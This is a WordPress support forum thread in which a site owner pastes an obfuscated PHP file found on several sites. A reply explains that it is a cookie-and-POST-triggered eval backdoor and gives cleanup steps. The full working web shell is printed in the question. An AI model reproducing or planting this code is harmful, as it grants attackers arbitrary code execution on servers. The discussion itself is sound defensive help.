dktlpum in radom named php files

  • Resolved webtica

    (@webtica)


    6 years, 1 month ago

    Hi,

    This morning i got mails from wordfence on all random client sites.
    they are always 1 file in the root directory next to wp-content wp-admin folders with a random name in those files there is always the same code:

    <?php
$dktlpum = '-acn_6k4vebugy#\'i2mx98*lp5H0sto1frd';$ziwqkq = Array();$ziwqkq[] = $dktlpum[32].$dktlpum[7].$dktlpum[31].$dktlpum[17].$dktlpum[25].$dktlpum[21].$dktlpum[7].$dktlpum[9].$dktlpum[0].$dktlpum[2].$dktlpum[9].$dktlpum[27].$dktlpum[5].$dktlpum[0].$dktlpum[7].$dktlpum[5].$dktlpum[10].$dktlpum[7].$dktlpum[0].$dktlpum[10].$dktlpum[31].$dktlpum[32].$dktlpum[10].$dktlpum[0].$dktlpum[1].$dktlpum[34].$dktlpum[21].$dktlpum[2].$dktlpum[31].$dktlpum[9].$dktlpum[25].$dktlpum[20].$dktlpum[17].$dktlpum[25].$dktlpum[7].$dktlpum[9];$ziwqkq[] = $dktlpum[26].$dktlpum[22];$ziwqkq[] = $dktlpum[14];$ziwqkq[] = $dktlpum[2].$dktlpum[30].$dktlpum[11].$dktlpum[3].$dktlpum[29];$ziwqkq[] = $dktlpum[28].$dktlpum[29].$dktlpum[33].$dktlpum[4].$dktlpum[33].$dktlpum[9].$dktlpum[24].$dktlpum[9].$dktlpum[1].$dktlpum[29];$ziwqkq[] = $dktlpum[9].$dktlpum[19].$dktlpum[24].$dktlpum[23].$dktlpum[30].$dktlpum[34].$dktlpum[9];$ziwqkq[] = $dktlpum[28].$dktlpum[11].$dktlpum[10].$dktlpum[28].$dktlpum[29].$dktlpum[33];$ziwqkq[] = $dktlpum[1].$dktlpum[33].$dktlpum[33].$dktlpum[1].$dktlpum[13].$dktlpum[4].$dktlpum[18].$dktlpum[9].$dktlpum[33].$dktlpum[12].$dktlpum[9];$ziwqkq[] = $dktlpum[28].$dktlpum[29].$dktlpum[33].$dktlpum[23].$dktlpum[9].$dktlpum[3];$ziwqkq[] = $dktlpum[24].$dktlpum[1].$dktlpum[2].$dktlpum[6];foreach ($ziwqkq[7]($_COOKIE, $_POST) as $hmhqai => $qytazij){function ewsseq($ziwqkq, $hmhqai, $yvrmg){return $ziwqkq[6]($ziwqkq[4]($hmhqai . $ziwqkq[0], ($yvrmg / $ziwqkq[8]($hmhqai)) + 1), 0, $yvrmg);}function nzeynw($ziwqkq, $zclzhc){return @$ziwqkq[9]($ziwqkq[1], $zclzhc);}function shkbbo($ziwqkq, $zclzhc){$ocggwz = $ziwqkq[3]($zclzhc) % 3;if (!$ocggwz) {eval($zclzhc[1]($zclzhc[2]));exit();}}$qytazij = nzeynw($ziwqkq, $qytazij);shkbbo($ziwqkq, $ziwqkq[5]($ziwqkq[2], $qytazij ^ ewsseq($ziwqkq, $hmhqai, $ziwqkq[8]($qytazij))));}

    Any idea what this is?
    How did they get this file there?
    What should i do?

Viewing 1 replies (of 1 total)

  • Hi @webtica,

    I took a look at the above code and found this line:

    eval($zclzhc[1]($zclzhc[2]));

    It’s coupled with a loop foreach ($ziwqkq[7]($_COOKIE, $_POST) as $hmhqai => $qytazij) {.

    1. From this, I believe it is a backdoor allowing attackers with a specific cookie set to run any PHP command using POST parameters.

    2. There are various reasons how an attacker could have placed that file there:

    – via FTP/SSH access (they gained access to your host directly)
    – via a plugin (they uploaded the file from a vulnerable plugin)
    – via a malicious plugin (the plugin itself placed the script there)

    3. I would recommend:

    a) Changing the FTP/SSH passwords, and passwords on your host’s login website
    b) Clearing your host (i.e formatting/reinstalling the host) -> as an attacker may have placed another backdoor somewhere
    c) Install WordPress, then WordPress on your site
    d) Install your other plugins

    Dave

Viewing 1 replies (of 1 total)
  • The topic ‘dktlpum in radom named php files’ is closed to new replies.